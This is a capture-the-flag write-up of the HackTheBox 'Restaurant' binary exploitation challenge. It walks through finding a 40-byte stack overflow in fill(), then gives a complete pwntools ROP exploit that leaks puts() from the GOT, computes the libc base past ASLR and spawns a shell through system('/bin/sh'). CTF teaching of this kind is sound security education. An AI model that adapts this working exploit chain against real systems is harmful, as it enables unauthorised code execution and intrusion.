Today’s post is on the Restaurant challenge which is a pwn challenge which is also known as a binary exploitation challenge. The challenge was created on 27th February 2021. This challenge focuses on crafting ROP exploit so read on if you are interested. Let’s dive right into the write-up.
There are two files being provided which are Unix files. You can download them here. That folder also contains the exploit script and analysis script I have written for this challenge. Besides giving us files, the IP address and the port number of the server that is hosting the restaurant are also given to us.
Outlook of the program
There are a total of 3 different pages when you run the program. The main page, the dishes page, and the drinks page. If you input any options in the dishes pages or the drinks page, a message will be printed and the program will exit. The weird question marks you see in the figures below are actually icons/emoji which my WSL Ubuntu can’t display.
After loading up the restaurant file on Ghidra, which you can use any other reverse engineering tool, I had a quick look at the source code of the program and discovered a vulnerability. If we look at the fill() which is called from main(), we will notice that the program can read-in 0x400 bytes (1024 bytes) of data which is more than the local variable local_28 can handle (see Fig 3a). If we look at the assembly code section of the start of fill(), we will see that local_28 only has a size of 0x20 bytes (32 bytes) before it overwrites the stored previous base pointer (see red box in Fig 3b). Therefore, it can only take up to 0x28 bytes (40 bytes) before it overwrites the return (RET) address.
To further prove that it takes only 40 bytes to reach the RET address, we shall use GDB. We can first print 48 bytes of data as it is a 64-bit program hence each address is 8 bytes. Therefore, the return address is also 8 bytes. 40 bytes + 8 bytes = 48 bytes. To print 48 of letter ‘A’s, we can use Python as command as shown below.
> python -c "print('A'*48)" // result: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Open up the program using GDB with the following command. Let the program run, press CTRL+C to end the program, then use “info file” to see the entry address.
> gdb ./restaurant (gdb) r 🥡 Welcome to Rocky Restaurant 🥡 What would you like? 1. Fill my dish. 2. Drink something > ^C (gdb)info file
Once you run the command “info file”, you should see the entry point’s address which is 0x4006e0 (see Fig 2c).
Comparing it to the start() in Ghidra, we can see that they exactly match (see Fig 2d). Hence, we can use the address of before read() in fill() which is 0x400ecd and after read() in fill() which is 0x400ed2 to see the stack before and after we inject 48 bytes of ‘A’s (see Fig 2e).
Setting the breakpoints using the following commands:
(gdb) b *0x400ecd Breakpoint 1 at 0x400ecd (gdb) b *0x400ed2 Breakpoint 2 at 0x400ed2
Input the “r” command to run the program and navigate to the dishes page. The first breakpoint at 0x400ecd should be triggered. Input x/20x $rsp to see the content in the stack. You should be able to see the address of the instruction after fill() is called (compare address in the red box in Fig 2f to Fig 2g).
Once we continue execution, input our 48 ‘A’s, and analyze the stack again, it should show that it is now corrupted with 0x41 which is the hexadecimal of ASCII letter ‘A’ (see Fig 2h). If we continue execution, a segmentation fault error message will be displayed to us.
We can consider a ret2libc attack via shellcode on the stack. However, when we use the tool checksec, which comes with pwntools if you have installed pwntools, we will see that NX is true hence the stack is non-executable. Thus, we can consider using Return-Oriented Programming (ROP). Here are two different good sources you can look at before we go on to the ROP section: blog and video.
> checksec --file ./restaurant [*] '/home/soulx/documents/CTF/HackTheBox/Pwn/pwn_restaurant/restaurant' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Crafting ROP exploit to get shell
All ROP exploits have the same procedure to counter the libc in the server that has ASLR enabled. They are:
- Craft ROP exploit to leak any library function’s address
- Find the libc version used (We can ignore this for this challenge since the libc is given)
- Calculate and set the ASLR base address of libc in the server
- Craft ROP exploit to system call Bash
1. Craft ROP exploit to leak any library function’s address
Firstly, we can create ELF objects for both of the files given to us. This will be useful for us to obtain the content in it easier. We can then create the overflow string such that it overflows until it reaches right before the RET address’s location. For the challenge, I used 40 letters ‘A’s. Remember to also set the context’s architecture so that pwntools knows what is the architecture, analysis and creates the ROP exploit accordingly. Finally, we can connect to the server using remote().
from pwn import * context.arch = 'amd64' # create ELF object of the challenge's files we want to exploit elf = ELF("./restaurant") libc = ELF("./libc.so.6") # offset before hitting the return address overflow = b'A' * 40 # connect to server r = remote('18.104.22.168', 31431)
Remember there are a lot of messages being printed and we will only require to input something when the string “>” appears? (see Fig 2a to 2e) We can easily ignore those strings that the server sends to us and reply when “>” appears using sendlineafter(). To go to the dishes page which contains the vulnerability, we will need to reply string “1” since we will be at the 1st page when we connect to the server.
# once reach ">" then we choose the 1st option to go the the vulnerable page r.sendlineafter("> ", "1")
Next, we have to create an object of the ROP class by pwntools (shown below). We will be creating an ROP for the restaurant file. We have to first print an “\n” which you can also use “” for puts() since puts() auto append “\n”. This will allow us to obtain the server’s address for elf.got[‘puts’] in a new line or else it will be printed at the same line as “Enjoy your AAAA…”. You can see more details of it in my other blog post in section “Newline character in need” here. If you have seen this blog on ROP, you will notice that he searched for a gadget with the instruction “POP RDI”. If you remember for x64 assembly, the 1st parameter to pass to a function/routine is to use register RDI as a parameter. Therefore, to call puts(), we will need to load the string “” into the stack first. So when “POP RDI” is called, the address of the string “” will be popped from the stack and store in the register RDI. Careful construction of the ROP chain will be needed if we do it manually like that blog. However, using rop.call() allows the whole process to be simpler. The rop.call() will automatically find the gadget(s) required based on the number of parameters we have. So let’s say for the code below. The 2nd parameter in call() which is a list, will let pwntools know that there are how many parameters for puts(). Based on the number of parameters, it will search for gadgets such as “POP RDI”, “POP RSI”, etc, accordingly, and slot in the address in the right order.
The right order I am referring to is the addresses must in place in the correct order where it is the overflow of “A”s 1st, then the address to the “POP RDI; RET” gadget, then address to the string “”, and finally the address of puts() in the PLT. As such, the return address in fill() will be overwritten with the address of the “POP RDI; RET” gadget so that it will return/jump to that gadget. When jumped to that gadget, the address of the gadget will be pop off from the stack, leaving the address of the string “” to be on top of the stack. Instruction “POP RDI” will pop the address of the string “” from the stack into RDI, then return to the end of fill() before calling puts() to print the string “”.
After setting up ROP gadgets to print the NULL string, we will now need to create gadgets to print the address of puts() in the libc of the server as the address will be different from ours due to libc version and ASLR. By putting the parameter of puts() with the address to Global Offset Table (GOT)’s puts(), we will be able to print out the address of puts() in the server. Finally, we will add the address of fill() using elf.symbols[‘fill’] into our ROP chain so that fill() will start from the top again for our 2nd ROP exploit. But before we call fill(), we have to make sure that our gadgets are aligned to 16 bytes which the start of Ubuntu 18 requires it. Therefore, I added a dummy gadget that just returns/calls to a gadget with only the “RET” instruction which does nothing so that my whole ROP chain is well aligned. To see if it is well aligned, use the rop.dump() (see Fig 3b). If it is well aligned, your last instruction should be at 0x0038 which each 64-bits instruction is 8 bytes (64bits / 8bits/byte = 8bytes), causing your ROP chain to actually fill up 0x40 bytes (well 16 bytes aligned).
# setting up ROP to print/leak ASLR address of puts() in the libc of the server (bypass ASLR) rop_elf = ROP(elf) # to print the leaked address in a new line rop_elf.call(elf.plt['puts'], [next(elf.search(b""))]) # puts() will be called and print the address stored in elf.got['puts'] rop_elf.call(elf.plt['puts'], [elf.got['puts']]) # for stack alignment since end of it must align to 16 bytes so add this additional call to make it just nice 16 bytes. Use print(rop_elf.dump()) to see the alignment rop_elf.call((rop_elf.find_gadget(["ret"]))) # Goes back to fill() so that we can setup our next ROP. rop_elf.call(elf.symbols['fill']) # combine into usable payload rop_get_libc_aslr_addr = overflow + rop_elf.chain() # see the alignment of the ROP exploit log.info(rop_elf.dump())
We can then send out our crafted ROP. Note that we will need to ignore the 1st 3 incoming sentences sent from the server as there is an empty line and the message to tell us to enjoy it (see Fig 2c) since we added “\n” by calling puts(“”). The 4th message will then be the leaked, a.k.a. the actual puts()‘s address in the server that has ASLR enabled. ljust() will be useful as it helps us to pad “0x00” in-front if needed to make sure the address we store is in 8 bytes since it is a 64-bits program.
# exploit the vulnerability to print out the ASLR address of puts() in libc in the server r.sendlineafter(">", rop_get_libc_aslr_addr) # ignore the empty space printed to us r.recvuntil("\n") # need to ignore the first line statement printed to use as is by the program to tell us "Enjoy your <input value>" before reaching RET r.recvuntil("\n") # get the leaked address of ASLR puts() in libc in the server leaked_addr_puts_libc = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
2. Find the libc version used (We can ignore this for this challenge since the libc is given)
Usually, for ROP, the next step is to find the version of libc being used. Since the file libc.so.6 is given to use by the challenge, we will not need to find the version. That is why I previously already created the ELF object of libc.so.6. Usually, the version of the libc can be guessed from this website, https://libc.blukat.me/, or via pwnscripts.
libc = ELF("./libc.so.6")
3. Calculate and set the ASLR base address of libc in the server
The base address of libc can be calculated using the formula below:
# elf_libc.symbols['puts'] gives us the offset to it instead of the relative address of puts()'s location in local's libc server_libc_base_addr = leaked_addr_puts_libc - libc.symbols['puts'] log.info("Leaked server's libc address, puts(): " + hex(server_libc_base_addr)) libc.address = server_libc_base_addr
Unlike elf.symbols that give us the exact address of each function in the elf file which is the restaurant, symbols in libc (libc.symbols) contains offsets to the function from address 0x00000000. Therefore, subtracting away the offset gives us the base address. We can then overwrite the libc’s stored address to this new base address so our 2nd ROP will all reference to the correct address meant for the server and not our reference to our local libc’s address.
4. Craft ROP exploit to system call Bash
Finally, we can craft the 2nd ROP using the libc reference to the current server’s ASLR based address for libc. Similarly, alignment is a must which can be seen using rop_libc.dump() to check if alignment is made. String for “/bin/sh\x00” is then searched in the libc before we added into the ROP chain. Finally, the address of system() in libc can be address directly from the symbol since our libc’s base address is changed to the server’s current libc base address. The full ROP can be constructed and send to the server when we receive string “>” from the server. Switching to interactive mode allows us to use the shell generated on the server.
# Craft sys call to /bin/sh. rop_libc = ROP(libc) # for stack alignment since end of it must align to 16 bytes so add this additional call to make it just nice 16 bytes. Use print(rop_libc.dump()) to see the alignment rop_libc.call((rop_libc.find_gadget(["ret"]))) rop_libc.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))]) # combine into usable payload rop_get_bash_exploit = overflow + rop_libc.chain() log.info(rop_libc.dump()) # exploit the vulnerability to print out the ASLR address of puts() in libc in the server r.sendlineafter(">" ,rop_get_bash_exploit) r.interactive()
You can get the full source code for the exploit here.
I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂